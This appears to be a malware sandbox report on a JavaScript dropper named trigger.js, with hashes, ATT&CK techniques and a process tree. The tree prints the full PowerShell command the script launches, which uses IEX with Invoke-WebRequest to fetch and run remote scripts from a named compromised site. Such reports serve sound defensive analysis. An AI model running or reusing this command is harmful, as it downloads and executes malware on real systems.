d9d8088e85136f539f6db8397f2b3b0664fcdc66d93effbe81978b04dfdb24c6

Analysis

max time kernel
117s
max time network
119s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
13/03/2025, 15:16

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General

Target

trigger.js
Size

1KB
MD5

e1d3dafb61e3ccceb928c4b583445826
SHA1

008eb8905da7838bcd8380f259794ec3ad26c9cd
SHA256

d9d8088e85136f539f6db8397f2b3b0664fcdc66d93effbe81978b04dfdb24c6
SHA512

960f3179e597920a8e2d79a30816fbe64c5bbeb35525e1366dfe3246905adb629699a61e5d130a5370e081666207ecccefceebb4227ecce5029556c25d26b135

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://casettalecese.it/wp-content/uploads/2022/10

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2632	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2632	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2632	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2628 wrote to memory of 2632	2628	wscript.exe	31
PID 2628 wrote to memory of 2632	2628	wscript.exe	31
PID 2628 wrote to memory of 2632	2628	wscript.exe	31
PID 2628 wrote to memory of 2632	2628	wscript.exe	31

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\trigger.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2628
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$typs=[Ref].Assembly.GetTypes();$bss = 'https://casettalecese.it/wp-content/uploads/2022/10'; Foreach($tt in $typs) {if ($tt.Name -like '*?siUt*s') {$c=$tt}}; $env:paths = '7z4LXJVHMVC8'; IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/boomier10qD0.php')); IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/nephralgiaMsy.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2632

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2632-3-0x0000000073C11000-0x0000000073C12000-memory.dmp

Filesize
4KB

Download
memory/2632-4-0x0000000073C10000-0x00000000741BB000-memory.dmp

Filesize
5.7MB

Download
memory/2632-7-0x0000000073C10000-0x00000000741BB000-memory.dmp

Filesize
5.7MB

Download
memory/2632-6-0x0000000073C10000-0x00000000741BB000-memory.dmp

Filesize
5.7MB

Download
memory/2632-5-0x0000000073C10000-0x00000000741BB000-memory.dmp

Filesize
5.7MB

Download
memory/2632-8-0x0000000073C10000-0x00000000741BB000-memory.dmp

Filesize
5.7MB

Download